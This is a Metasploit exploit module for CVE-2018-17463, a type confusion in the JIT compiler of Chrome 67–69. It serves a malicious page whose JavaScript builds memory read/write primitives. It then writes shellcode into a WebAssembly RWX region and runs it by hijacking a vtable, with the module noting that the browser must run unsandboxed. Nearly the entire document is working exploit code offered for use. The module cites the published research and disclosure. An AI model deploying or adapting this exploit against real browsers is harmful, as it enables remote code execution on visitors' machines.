Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit',  
'Description' => %q{  
This modules exploits a type confusion in Google Chromes JIT compiler.  
The Object.create operation can be used to cause a type confusion between a  
PropertyArray and a NameDictionary.  
The payload is executed within the rwx region of the sandboxed renderer  
process, so the browser must be run with the --no-sandbox option for the  
payload to work.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'saelo', # discovery and exploit  
'timwr', # metasploit module  
],  
'References' => [  
['CVE', '2018-17463'],  
['URL', 'http://www.phrack.org/papers/jit_exploitation.html'],  
['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'],  
['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],  
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'],  
],  
'Arch' => [ ARCH_X64 ],  
'Platform' => ['windows', 'osx'],  
'DefaultTarget' => 0,  
'Targets' => [ [ 'Automatic', { } ] ],  
'DisclosureDate' => 'Sep 25 2018'))  
register_advanced_options([  
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),  
])  
end  
  
def on_request_uri(cli, request)  
  
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}  
print_status("[*] " + request.body)  
send_response(cli, '')  
return  
end  
  
print_status("Sending #{request.uri} to #{request['User-Agent']}")  
  
jscript = %Q^  
let shellcode = new Uint8Array([#{Rex::Text::to_num(payload.encoded)}]);  
  
let ab = new ArrayBuffer(8);  
let floatView = new Float64Array(ab);  
let uint64View = new BigUint64Array(ab);  
let uint8View = new Uint8Array(ab);  
  
Number.prototype.toBigInt = function toBigInt() {  
floatView[0] = this;  
return uint64View[0];  
};  
  
BigInt.prototype.toNumber = function toNumber() {  
uint64View[0] = this;  
return floatView[0];  
};  
  
function hex(n) {  
return '0x' + n.toString(16);  
};  
  
function fail(s) {  
print('FAIL ' + s);  
throw null;  
}  
  
const NUM_PROPERTIES = 32;  
const MAX_ITERATIONS = 100000;  
  
function gc() {  
for (let i = 0; i < 200; i++) {  
new ArrayBuffer(0x100000);  
}  
}  
  
function make(properties) {  
let o = {inline: 42} // TODO  
for (let i = 0; i < NUM_PROPERTIES; i++) {  
eval(`o.p${i} = properties[${i}];`);  
}  
return o;  
}  
  
function pwn() {  
function find_overlapping_properties() {  
let propertyNames = [];  
for (let i = 0; i < NUM_PROPERTIES; i++) {  
propertyNames[i] = `p${i}`;  
}  
eval(`  
function vuln(o) {  
let a = o.inline;  
this.Object.create(o);  
${propertyNames.map((p) => `let ${p} = o.${p};`).join('\\n')}  
return [${propertyNames.join(', ')}];  
}  
`);  
  
let propertyValues = [];  
for (let i = 1; i < NUM_PROPERTIES; i++) {  
propertyValues[i] = -i;  
}  
  
for (let i = 0; i < MAX_ITERATIONS; i++) {  
let r = vuln(make(propertyValues));  
if (r[1] !== -1) {  
for (let i = 1; i < r.length; i++) {  
if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {  
return [i, -r[i]];  
}  
}  
}  
}  
  
fail("Failed to find overlapping properties");  
}  
  
function addrof(obj) {  
eval(`  
function vuln(o) {  
let a = o.inline;  
this.Object.create(o);  
return o.p${p1}.x1;  
}  
`);  
  
let propertyValues = [];  
propertyValues[p1] = {x1: 13.37, x2: 13.38};  
propertyValues[p2] = {y1: obj};  
  
let i = 0;  
for (; i < MAX_ITERATIONS; i++) {  
let res = vuln(make(propertyValues));  
if (res !== 13.37)  
return res.toBigInt()  
}  
  
fail("Addrof failed");  
}  
  
function corrupt_arraybuffer(victim, newValue) {  
eval(`  
function vuln(o) {  
let a = o.inline;  
this.Object.create(o);  
let orig = o.p${p1}.x2;  
o.p${p1}.x2 = ${newValue.toNumber()};  
return orig;  
}  
`);  
  
let propertyValues = [];  
let o = {x1: 13.37, x2: 13.38};  
propertyValues[p1] = o;  
propertyValues[p2] = victim;  
  
for (let i = 0; i < MAX_ITERATIONS; i++) {  
o.x2 = 13.38;  
let r = vuln(make(propertyValues));  
if (r !== 13.38)  
return r.toBigInt();  
}  
  
fail("Corrupt ArrayBuffer failed");  
}  
  
let [p1, p2] = find_overlapping_properties();  
print(`Properties p${p1} and p${p2} overlap after conversion to dictionary mode`);  
  
let memview_buf = new ArrayBuffer(1024);  
let driver_buf = new ArrayBuffer(1024);  
  
gc();  
  
let memview_buf_addr = addrof(memview_buf);  
memview_buf_addr--;  
print(`ArrayBuffer @ ${hex(memview_buf_addr)}`);  
  
let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr);  
  
let driver = new BigUint64Array(driver_buf);  
let original_memview_buf_ptr = driver[4];  
  
let memory = {  
write(addr, bytes) {  
driver[4] = addr;  
let memview = new Uint8Array(memview_buf);  
memview.set(bytes);  
},  
read(addr, len) {  
driver[4] = addr;  
let memview = new Uint8Array(memview_buf);  
return memview.subarray(0, len);  
},  
readPtr(addr) {  
driver[4] = addr;  
let memview = new BigUint64Array(memview_buf);  
return memview[0];  
},  
writePtr(addr, ptr) {  
driver[4] = addr;  
let memview = new BigUint64Array(memview_buf);  
memview[0] = ptr;  
},  
addrof(obj) {  
memview_buf.leakMe = obj;  
let props = this.readPtr(memview_buf_addr + 8n);  
return this.readPtr(props + 15n) - 1n;  
},  
};  
  
// Generate a RWX region for the payload  
function get_wasm_instance() {  
var buffer = new Uint8Array([  
0,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0,  
1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,  
128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,104,  
101,108,108,111,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11  
]);  
return new WebAssembly.Instance(new WebAssembly.Module(buffer),{});  
}  
  
let wasm_instance = get_wasm_instance();  
let wasm_addr = memory.addrof(wasm_instance);  
print("wasm_addr @ " + hex(wasm_addr));  
let wasm_rwx_addr = memory.readPtr(wasm_addr + 0xe0n);  
print("wasm_rwx @ " + hex(wasm_rwx_addr));  
  
memory.write(wasm_rwx_addr, shellcode);  
  
let fake_vtab = new ArrayBuffer(0x80);  
let fake_vtab_u64 = new BigUint64Array(fake_vtab);  
let fake_vtab_addr = memory.readPtr(memory.addrof(fake_vtab) + 0x20n);  
  
let div = document.createElement('div');  
let div_addr = memory.addrof(div);  
print('div_addr @ ' + hex(div_addr));  
let el_addr = memory.readPtr(div_addr + 0x20n);  
print('el_addr @ ' + hex(div_addr));  
  
fake_vtab_u64.fill(wasm_rwx_addr, 6, 10);  
memory.writePtr(el_addr, fake_vtab_addr);  
  
print('Triggering...');  
  
// Trigger virtual call  
div.dispatchEvent(new Event('click'));  
  
// We are done here, repair the corrupted array buffers  
let addr = memory.addrof(driver_buf);  
memory.writePtr(addr + 32n, original_driver_buf_ptr);  
memory.writePtr(memview_buf_addr + 32n, original_memview_buf_ptr);  
}  
  
pwn();  
^  
  
if datastore['DEBUG_EXPLOIT']  
debugjs = %Q^  
print = function(arg) {  
var request = new XMLHttpRequest();  
request.open("POST", "/print", false);  
request.send("" + arg);  
};  
^  
jscript = "#{debugjs}#{jscript}"  
else  
jscript.gsub!(/\/\/.*$/, '') # strip comments  
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);  
end  
  
html = %Q^  
<html>  
<head>  
<script>  
#{jscript}  
</script>  
</head>  
<body>  
</body>  
</html>  
^  
  
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})  
end  
  
end